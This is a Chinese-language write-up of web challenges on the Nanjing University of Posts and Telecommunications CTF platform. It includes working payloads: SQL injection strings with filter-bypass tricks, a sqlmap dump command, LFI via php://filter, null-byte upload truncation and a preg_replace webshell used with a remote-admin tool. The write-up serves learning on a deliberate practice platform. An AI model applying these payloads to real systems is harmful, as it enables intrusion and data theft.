南郵CTF - Writeup


南郵CTF攻防平台Writeup

By:Mirror王宇陽

個人QQ歡迎交流:2821319009

技術水平有限~大佬勿噴 _

Web題

簽到題:

直接一梭哈……

md5 collision:

題目源碼提示:

$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
   echo "nctf{*****************}";
} else {
   echo "false!!!";
}}
else{echo "please input a";}

呃……腦中閃過“PHP弱類型”於是乎……當然是Google找一下嘍!

QNKCDZO的md5(32)加密后:0e830400451993494058024219903391

結合 $md51 == $md52 就要0e開頭的md5碰撞!感謝Google

構造:http://chinalover.sinaapp.com/web19/?a=s878926199a

簽到2:

本能的直接源碼搜哈……

發現了字符輸入限制10位字符,而給出的指令是11位!得嘞……前端能看見的都能改 maxlength="11"只要限制字符數超過11或等於11位就行!

這題不是Web:

題目都說了!這題不是web!然而面對這頁面……除了圖片還有啥?

既然只有圖片那么我就要再拿出寶貝了!WinHex (十六進制查看器)

多顯然的flag呀_……

層層遞進:

說來慚愧……看了源碼一臉懵逼……於是我分析題目發現硬核推薦的微博也沒得線索

在仔細一想!算了還是扣源碼吧於是一個手滑……

沒錯!隨便點了一下,進一個有一個!於是按照 SO.html 一路點下去

以為有驚喜!結果……

這是什么鬼呀……

不過!哪位高手給那摩多注釋,難不成睡覺的時候按到了 Ctrl+C 嗎 ???

然而其中暗藏玄機……

AAencode:

這個題目就得Google了解(這個東西叫做顏編碼

首先,看看這頁面……不太像顏編碼呀?

更像是亂碼……於是!換一個編碼唄!

這樣才對嘛……

下一步就是要借助 Chrom 瀏覽器了(當然了在線的AAencode工具也可以)

單身二十年:

唉……這題目說的就是我呀!踩過前面題目的坑了!俺得好好的留意題目的提示:“手速”,也就是速度快唄……

不在?但是首頁告訴我可以找到呀!為什么呢?

手速……手速……手速……

后來留意了一下!

原來索引的位置不對呀!

看了一下跳轉!原來這個沒有flag頁面是從 http://chinalover.sinaapp.com/web8/search_key.php 頁面跳轉的

Burp抓包看一眼

在上一個頁面有一個自動跳轉……難怪要求手速快呢!難道不是要求“眼速快”嗎?

PHP decode:

題目源碼:“ 見到的一個類似編碼的shell,請解碼 ”

<?php
function CLsI($ZzvSWE) {
 
    $ZzvSWE = gzinflate(base64_decode($ZzvSWE));
 
    for ($i = 0; $i < strlen($ZzvSWE); $i++) {
 
        $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
 
    }
 
    return $ZzvSWE;
 
}
eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));
?>

傻傻的看了源碼兩三分鍾!然后發現……一執行就有結果了!

文件包含:

題目直接提示了:LFI

點擊,但又說不???

從源碼中發現:file包含了show.php文件,也就表示,file就是文件包含屬性,

既然提示我們可以利用LFI,那么就……讀一下源碼php吧!

http://4.chinalover.sinaapp.com/web7/index.php?
file=php://filter/read=convert.base64-encode/resource=index.php

利用php協議php:filter讀取本地任意文件(file:// 需要詳細的URL路徑才可以哦)

PGh0bWw+CiAgICA8dGl0bGU+YXNkZjwvdGl0bGU+CiAgICAKPD9waHAKCWVycm9yX3JlcG9ydGluZygwKTsKCWlmKCEkX0dFVFtmaWxlXSl7ZWNobyAnPGEgaHJlZj0iLi9pbmRleC5waHA/ZmlsZT1zaG93LnBocCI+Y2xpY2sgbWU/IG5vPC9hPic7fQoJJGZpbGU9JF9HRVRbJ2ZpbGUnXTsKCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpewoJCWVjaG8gIk9oIG5vISI7CgkJZXhpdCgpOwoJfQoJaW5jbHVkZSgkZmlsZSk7IAovL2ZsYWc6bmN0ZntlZHVsY25pX2VsaWZfbGFjb2xfc2lfc2lodH0KCj8+CjwvaHRtbD4=
<html>
    <title>asdf</title>
    
<?php
	error_reporting(0);
	if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:nctf{edulcni_elif_lacol_si_siht}

?>
</html>

哎呀!一不小心~flag出來了_

單身一百年也沒用:

啥意思?又來套路……Burp啟動

居然沒一點坑……呵呵

COOKIE:

看到題目提示:

0就是的意思!那么1就是的意思嘍

簡單通過……

MySQL:

按照提示:“Do you know robots.txt” 我們看一下robots文件

通過對源碼的分析sql.php頁面要求我們提交一個$id參數,使intval($_GET[id])1024,但是$_GET[$id] 1024 為假!也就是說我們需要同時保證兩個條件同時成立且為真。

int intval ( mixed $var [, int $base = 10 ] )

構造:函數轉為int整型

http://chinalover.sinaapp.com/web11/sql.php?id=1024e1

http://chinalover.sinaapp.com/web11/sql.php?id=1024.1

………………

GBK Injection:

哈哈!粗暴的題目!告訴我們GBK注入(寬字節注入

直接丟進SQLmap跑一遍

python2 sqlmap.py --url "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%d6" -D sae-chinalover -T ctf4 --dump

嗯!確實全程sqlmap自動化,有點臉皮厚了……

/x00:

題目直接給出源碼:

    if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
            echo '必須輸入數字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
            die('Flag: '.$flag);
        else
            echo '騷年,繼續努力吧啊~';
    }

從源碼分析來看:輸入的$nctf值必須符合“[1]+$”正則;且可以在strpos()函數中找到“#biubiubiu”字符!

頭疼……不能輸入字符?Google一下了解函數的缺陷吧!

按照題目給的提示:“/x00” 發現ereg函數存在截斷漏洞:%xx截斷遇到%00則默認字符串結束;而strpos函數則越過或是說識別%00截斷后面的字符內容。

構造:http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=111%00%23biubiubiu

bypass again:

提示是“弱類型參考文章)”;源碼梭哈一波:

if (isset($_GET['a']) and isset($_GET['b'])) {
    if ($_GET['a'] != $_GET['b'])
    if (md5($_GET['a']) == md5($_GET['b']))
        die('Flag: '.$flag);
    else
        print 'Wrong.';
}

啥玩意?在找一找0exxx”開頭的hash值;遇到了兩題這樣的!就順便解釋一下為什么0e開頭的會相等於呢??因為“0e”開頭的都會按照科學計數法轉為最后的整型數“0”。

構造:http://chinalover.sinaapp.com/web17/index.php?a=s878926199a&b=s155964671a

變量覆蓋:

題目就是指引!Google了解一下……

首先分析php源碼核心部分……

<?php
    if($_SERVER["REQUEST_METHOD"] == "POST"){
        extract($_POST);
        if ($pass == $thepassword_123){
            echo $theflag;
        }
    }
?>

簡單的解析一下源碼函數:

extract():從數組中將變量導入當前符號表;key>變量名 ; value>變量值。

我們只需要覆蓋變量並實現$pass == $thepassword_123就可以得到flag了!

post提交pass=123&thepassword_123=123 就會被后台認為$pass=123、$thepassword_123=123 實現變量覆蓋……

偽裝者:

神秘叨叨的……

burp打開!xff頭改成127.0.0.1

居然不對……按理來說改下X-Forwarded-For就可以了呀!!!

於是我Google了一下偽造客戶端IP的方法,發現除了X-F-F方法以外,還有一種Client-IP

上傳繞過:

題目提示我們猜猜源碼是如何寫的!

<form action="upload.php" method="post" enctype="multipart/form-data">
	<label for="file">Filename:</label>
	<input type="hidden" name="dir" value="/uploads/" />
	<input type="file" name="file" id="file" /> 
	<br />
	<input type="submit" name="submit" value="Submit" />
</form>

這HTML頁面時非常簡單的文件上傳的功能,題目是要求繞過!

按照返回結果,可以確定,我們只有上傳的是可以解析的PHP文件才可以返回flag!

而且只允許jpg、gif、png等格式文件……

觀察一下返回數據包是如何后端校驗文件格式的!初步推定:后台校驗文件是否為圖片格式以后再判斷是否為php格式文件!

在后台會把file上傳的文件名和源碼中的dir元素Value進行拼接;轉向dir元素,因為它藏在源碼里!必然有用!再仔細的觀察了第二個檢驗php文件報錯回顯:

通過“/uploads”目錄下的文件進行校驗;回想兩次校驗的不同,第一次校驗圖片格式的時候是讀取上傳文件的后綴名,第二次校驗是根據目錄來找到文件進行校驗!

我們首先是繞過第一道圖片格式校驗的檢查,那么就要求我們的文件必須再上傳的時候是圖片格式。而保存的時候是dir元素的value和filename進行拼接的;如果我們修改了dir元素的value=“/uploads/1.php0x00” 也就是說在file經過第一道校驗后與dir元素value拼接:“/uploads/1.php0x00test.jpg” 而這段在后台被執行的時候被00截斷,保存為:“/uploads/1.php”

SQL注入:

題目給了源碼分析一波:

<?php
    if($_POST[user] && $_POST[pass]) {
        mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
      mysql_select_db(SAE_MYSQL_DB);
      $user = trim($_POST[user]);  //trim():去除字符串兩側的空白字符
      $pass = md5(trim($_POST[pass]));
      $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
        echo '</br>'.$sql;
      $query = mysql_fetch_array(mysql_query($sql));
      if($query[user]=="admin") {
          echo "<p>Logged in! flag:******************** </p>";
      }
      if($query[user] != "admin") {
        echo("<p>You are not admin!</p>");
      }
    }
    echo $query[user];
?>

源碼告訴我們輸入的字符串兩側的空白字符會被刪掉;然后如何拼接字符;在者就是告訴我們admin用戶可以獲得flag,意味着我們要利用admin的身份注入!(手工注入)

經過觀察構造sql:

select user from ctf where (user='admin')#') and (pw='".$pass."')

我們需要的是構造user數據提交給后台:user=admin')#&pass=12345

pass check:

$pass=@$_POST['pass'];
$pass1=***********;//被隱藏起來的密碼
if(isset($pass)){
	if(@!strcmp($pass,$pass1)){
		echo "flag:nctf{*}";
	}else{
		echo "the pass is wrong!";
	}
}else{
	echo "please input pass!";
}

題目給出了源碼;分析一波……

strcmp():比較兩個字符串,且大小寫敏感; str1第一個字符串。str2第二個字符串。如果 str1 小於 str2 返回 < 0; 如果 str1 大於 str2 返回 > 0;如果兩者相等,返回 0;結合函數和源碼:pass==pass1 時返回flag

Google一下函數缺陷:期待的是傳入“合法字符串”,如果傳入的是非法的字符串則返回 return 0

既然指導了函數比較的缺陷,那么我們就傳入一個不合法的字符串,比如數組……

php為了可以上傳一個數組,會把上傳的變量結尾帶一對中括號當作數組上傳:key[]=xx

起名字真難:

<?php
function noother_says_correct($number)
{
       $one = ord('1');//ord():返回ascii值 
       $nine = ord('9');
    // one=49 ; nine=57 ;
       for ($i = 0; $i < strlen($number); $i++)  
       {   
               $digit = ord($number{$i}); //逐個返回number各個字符的ascii值
               if ( ($digit >= $one) && ($digit <= $nine) )
               { // 判斷number內有沒有1~9的數字字符:有則返回false
                       return false;  
               }
       }
       return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
   echo $flag;
else 
   echo 'access denied';
?>

綜合分析源碼:要求輸入的key不可以在1~9之間,但是要求等於54975581388

一開始也是比較煩的但是發現它的數字限制不包括“0”;於是想到了“十六進制

key傳入十六進制數,在數字檢查中可以避開的,因為54975581388=0xccccccccc

密碼重置:

題目要求對admin管理賬戶進行密碼重置,而郵箱收到了重置密碼的郵件html

抓包結果來看,我們需要以admin的身份重置密碼!同時也留意到url中的user1=Y3RmdXNlcg==base解密結果為url1=ctfuser

SQL Injection:*

打開F12發現,源碼被注釋了!

#GOAL: login as admin,then get the flag; 以管理員身份登錄,然后獲取flag
error_reporting(0);
require 'db.inc.php';

function clean($str){
	if(get_magic_quotes_gpc()){ //獲取當前 magic_quotes_gpc 的配置選項設置
		$str=stripslashes($str);
        // stripslashes():刪除反斜杠
	}
	return htmlentities($str, ENT_QUOTES);
    //把$str字符轉換為 HTML 實體  ENT_QUOTES:編碼可用雙引號和單引號
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
	die('Invalid password!');
}

echo $flag;

從源碼分析來開,重要的就是單引號也會被編碼!意味着我們輸入的單引號也會被編碼

構造: http://chinalover.sinaapp.com/web15/index.php?username=\&password=%20or%201%23 `

SELECT * FROM users WHERE name='\' AND pass='%20or%201%23'
即
SELECT * FROM users WHERE 
name='\' AND pass='                 『 [name]的值為 [' AND pass=]  ,顯然邏輯值為false 』
or 1                                『 但沒關系,[false or 1] 的邏輯值為真』 
#'                                  『 注釋掉多余的單引號 』
即
select * from users where false or 1

SQL注入2:

源碼:

<?php
    if($_POST[user] && $_POST[pass]) {
      mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
      mysql_select_db(SAE_MYSQL_DB);
      $user = $_POST[user];
      $pass = md5($_POST[pass]); 
      $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
         	//mysql_fetch_array():結果集中取得一行作為關聯數組,或數字數組
        	//mysql_query():執行Mysql查詢
      if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
          					// strcasecmp():比較str1和str2,且不區分大小寫;
          					// 函數比較有一個缺陷就是:不管是str1>str2或str1==str2都返回“0”
          					// 也就是當passmd5處理后的值小於query[pw]就可以繞過
          echo "<p>Logged in! Key: ntcf{**************} </p>";
      } else {
        echo("<p>Log in failure!</p>");
      }
    }
?>

題目提示我們使用”union“方法……

我們輸入的user 通過post提交給$user,后台通過$user返回pw字段,在strcasecmp()函數中比較pw和$pass。這是 正常的功能流程。

我們利用的點就是strcasecmp()函數的比較缺陷,這是我一開始的想法,但是想到題目的提示:“union”

於是我想到了利用閉合union的方法;

構造user='union select md5(a)# &pass=auser的value為空,不存在該查詢則執行不成功;就會把union后一個查詢顯示在pw字段里,即我們查詢的是md5(a),結合sql語句的拼接,pw字段==md5(a)。

綜合題1:

是不是看不懂?沒啥看不懂得!這就是JsFuck

解碼后得到:1bc29b36f623ba82aaf6724fd3b16718.php構造訪問后:

Response告訴我們tip字段提示:history of bash (bash的歷史)

發現了 flagbak.zip,構造URL下載該文件並打開

綜合題2:*

查看到最后一個sm.txt(本CMS說明)頁面的時候發現了新大陸!

在這里它列出了:config.php index.php passencode.php say.php sm.txt 和admin表結構

同時我們分析URL時候,發現這個頁面存在文件包含哦~~~

知道了那么多源碼的文件名,我們試一試~~~

  • index.php源碼文件:

    沒有利用之處,不占篇幅了……
    
  • passencode.php

    <?php function passencode($content){ //$pass=urlencode($content); $array=str_split($content); $pass=""; for($i=0;$i<count($array);$i++){ if($pass!=""){ $pass=$pass." ".(string)ord($array[$i]); }else{ $pass=(string)ord($array[$i]); } } return $pass; } ?>
    

    處理用戶輸入的密碼並進行ASCII加密處理

  • say.php

    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <?php include 'config.php'; $nice=$_POST['nice']; $say=$_POST['usersay']; if(!isset($_COOKIE['username'])){ setcookie('username',$nice); setcookie('userpass',''); } $username=$_COOKIE['username']; $userpass=$_COOKIE['userpass']; if($nice=="" || $say==""){ echo "<script>alert('昵稱或留言內容不能為空!(如果有內容也彈出此框,不是網站問題喔~ 好吧,給個提示:查看頁面源碼有驚喜!)');</script>"; exit(); } $con = mysql_connect($db_address,$db_user,$db_pass) or die("不能連接到數據庫!!".mysql_error()); mysql_select_db($db_name,$con); $nice=mysql_real_escape_string($nice); $username=mysql_real_escape_string($username); $userpass=mysql_real_escape_string($userpass); $result=mysql_query("SELECT username FROM admin where username='$nice'",$con); $login=mysql_query("SELECT * FROM admin where username='$username' AND userpass='$userpass'",$con); if(mysql_num_rows($result)>0 && mysql_num_rows($login)<=0){ echo "<script>alert('昵稱已被使用,請更換!');</script>"; mysql_free_result($login); mysql_free_result($result); mysql_close($con); exit(); } mysql_free_result($login); mysql_free_result($result); $say=mysql_real_escape_string($say); mysql_query("insert into message (nice,say,display) values('$nice','$say',0)",$con); mysql_close($con); echo '<script>alert("構建和諧社會,留言需要經過管理員審核才可以顯示!");window.location = "./index.php"</script>'; ?>
    

    處理用戶留言板的留言系統

  • config.php 不給讀 ……

  • so.php

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>搜索留言</title> </head> <body> <center> <div id="say" name="say" align="left" style="width:1024px"> <?php if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){ echo '萬惡滴黑闊,本功能只有用本公司開發的瀏覽器才可以用喔~'; exit(); } $id=$_POST['soid']; include 'config.php'; include 'antiinject.php'; include 'antixss.php'; $id=antiinject($id); $con = mysql_connect($db_address,$db_user,$db_pass) or die("不能連接到數據庫!!".mysql_error()); mysql_select_db($db_name,$con); $id=mysql_real_escape_string($id); $result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id"); $rs=mysql_fetch_array($result); echo htmlspecialchars($rs['nice']).':<br />&nbsp;&nbsp;&nbsp;&nbsp;'.antixss($rs['say']).'<br />'; mysql_free_result($result); mysql_free_result($file); mysql_close($con); ?> </div> </center> </body> </html>
    

    哦對了!這個頁面在之前就有問題,就是限制了瀏覽器訪問!

    if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser")”喏~

查完了sm.txt給的php文件,卻忘記了about.php這個頁面;點擊sm.txt的那個鏈接后來到了/about.php?file=sm.txt 一直在包含其它文件,卻忘了about.php

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
    <?php 
    	$file=$_GET['file']; 
	if($file=="" || strstr($file,'config.php')){ 
  	  	echo "file參數不能為空!"; 
  	  	exit(); 
	}else{ 
   		$cut=strchr($file,"loginxlcteam"); 
        if($cut==false){ 
            $data=file_get_contents($file); 
            $date=htmlspecialchars($data); 
            echo $date; 
        }else{ 
            echo "<script>alert('敏感目錄,禁止查看!但是。。。')</script>"; 
        } 
    }

看到了一絲曙光:有一個敏感目錄loginxlcteam

打開一看,是個后台登錄頁面!是不是都瞬間有一種sql注入的沖動!但是我的直覺告訴我~~不可信

果然,看了一下前輩的思路,他們在so.php中發現了“include 'config.php'; include 'antiinject.php'; include 'antixss.php'”等文件被包含,其中antiinject.php文件就是防止sql注入的

知道了有防注入的文件,就回到一開始發現的文件包含的位置查看該源碼:

<?php 
    function antiinject($content){ 
    	$keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","="); 
    	$info=strtolower($content); 
    	for($i=0;$i<=count($keyword);$i++){ 
            $info=str_replace($keyword[$i], '',$info); 
        } 
    	return $info; 
	} 
?>

從源碼中發現:過濾了"select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","="等關鍵字

應對的繞過方法

應對關鍵字過濾,防御方式是把關鍵敏感單詞變為空;可以采用復寫的方式,即“ununionion”當過濾的時候,就會把中間的關鍵單詞變為空;

應對過濾空格;采用/**/方式繞過;(當然了,也可以采用圓括號的方式)

明白了繞過的方法,就需要來sql注入了!注入點在哪?前輩給的方向是so.php

<?php 
    if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){ 
        echo '萬惡滴黑闊,本功能只有用本公司開發的瀏覽器才可以用喔~'; exit(); 
    } 
	$id=$_POST['soid']; 
	include 'config.php'; 
    include 'antiinject.php'; 
    include 'antixss.php'; 
    $id=antiinject($id); // 過濾關鍵字和空格
    $con = mysql_connect($db_address,$db_user,$db_pass) or die("不能連接到數據庫!!".mysql_error()); 
    mysql_select_db($db_name,$con); 
    $id=mysql_real_escape_string($id); //轉義 SQL 語句中使用的字符串中的特殊字符
    $result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id"); 
    $rs=mysql_fetch_array($result); 
    echo htmlspecialchars($rs['nice']).':<br />&nbsp;&nbsp;&nbsp;&nbsp;'.antixss($rs['say']).'<br />'; 
    mysql_free_result($result); mysql_free_result($file); 
    mysql_close($con); 
?>

哦!對了,有一點要說一下哈~~~這個頁面處理的是用戶的留言數據,id內容實際上是留言板的ID,利用union select *,…

  • 確定字段:

    2 union select 1,2,3,4

  • 注入構造:

    • 表結構:

      create table admin (
          id integer,
          username text,
          userpass text,
      )
      

    知道了表結構,就不用猜庫、猜表了

    直接查數據……

    soid=1/**/aandnd/**/0/**/uunionnion/**/sselectelect/**/1,(sselectelect/**/group_concat(userppassass)/**/ffromrom/**/aadmindmin),3,4
    

    pass(ascii加密): 102 117 99 107 114 117 110 116 117 => fuckruntu

    soid=1/**/aandnd/**/0/**/uunionnion/**/sselectelect/**/1,(sselectelect/**/group_concat(usernnameame)/**/ffromrom/**/aadmindmin),3,4
    

    name:admin

  • http://cms.nuptzj.cn/loginxlcteam/index.php后台中登錄

  • 打開xlcteam.php文件(利用之前發現的文件包含)

    <?php 
        $e = $_REQUEST['www']; // preg_replace
    	$arr = array($_POST['wtf'] => '|.*|e',); 
    	array_walk($arr, $e, ''); 
    ?>
    

    一開始看不懂這個馬!后來查了一下代碼得知: 三參數回調函數

    array_walk(array,function,parameter):

    ​ array:數組

    ​ function:用戶自定義的函數名稱(preg_replace:正則函數)

    ​ parameter:可選

菜刀一連!找到flag文件就可以了……

這是CG-CTF做的最充裕、收獲最大的一題

密碼重置2:

TIPS:
1.管理員郵箱觀察一下就可以找到
2.linux下一般使用vi編輯器,並且異常退出會留下備份文件
3.弱類型bypass

我們從源碼中觀察到了管理員郵箱:admin@nuptzj.cn

Vi編輯器 + 留下備份文件:vi的備份文件格式是:.[filename].swp

構造訪問:http://nctf.nuptzj.cn/web14/.submit.php.swp

下載文件:wget http://nctf.nuptzj.cn/web14/.submit.php.swp

........這一行是省略的代碼........

/*
如果登錄郵箱地址不是管理員則 die()
數據庫結構

--
-- 表的結構 `user`
--

CREATE TABLE IF NOT EXISTS `user` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(255) NOT NULL,
  `email` varchar(255) NOT NULL,
  `token` int(255) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;

--
-- 轉存表中的數據 `user`
--

INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
(1, '****不可見***', '***不可見***', 0);
*/


........這一行是省略的代碼........

if(!empty($token)&&!empty($emailAddress)){
	if(strlen($token)!=10) die('fail');
	if($token!='0') die('fail');
    	// 要求token為十位且為零 否則退出腳本並輸出fail
	$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
	$r = mysql_query($sql) or die('db error');
	$r = mysql_fetch_assoc($r);
	$r = $r['num'];
	if($r>0){ //只有當sql查詢的count(*)也就是num大於或等於零的時候才會輸出flag
		echo $flag;
	}else{
		echo "失敗了呀";
	}
}

綜上!我們知道了獲得flag的方法:

​ 輸入的用戶名為:admin@nuptzj.cn

​ 輸入的token:十位數且為“0”(符合提示的第三條)

要求十位數且結果為零的花,又想到了科學技術法 token=0e12345678

file_get_contents:

頁面源碼:

<!--$file = $_GET['file'];
if(@file_get_contents($file) == "meizijiu"){
    //file_get_contents():將整個文件讀入一個字符串中
    echo $nctf;
}-->

從源碼提示來看:要求我們包含的文件中的內容是“meizijiu”,並用file_get_contents()函數讀取

這里需要引用的技術就是php協議:php://input:功能就是將data數據寫入並可執行; 訪問請求的原始數據的只讀流。

變量覆蓋2:

源碼:

foreach($_GET as $key => $value){  
    // foreach():循環語句 常用於遍歷數組
    // GET方式傳入數組
        $$key = $value; //可變變量,一個可變變量獲取了普通變量的值,作為這個可變變量的值
    /* $$x:解釋 ~ ~ ~
    	 $x = "abc";  
         $$x = 200;  
    	 echo $x."<br/>";  // abc
    	 echo $$x."<br/>";  // 200
    	 echo $abc;			// 200
    	 
    	 》 $abc <= $$x <= $x == abc  //也就是$$x 把 $x 的值變成了一個變量
    */
}  
if($name == "meizijiu233"){
    echo $flag;
}

GET傳入數組['name'=>'meizijiu233']

構造:http://chinalover.sinaapp.com/web24/?name=meizijiu233


By:Mirror王宇陽 2019年12月6日

留:周末刷了南京郵電大學CTF平台的Web題,以上是個人總結的思路Writeup

注:平台又小部分題目,筆者這里無法打開,所以就沒有做……

最后附上平台網址:https://cgctf.nuptsast.com/challenges#Web

感謝CG-CTF平台給的環境哦&_&


  1. 1-9 ↩︎


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM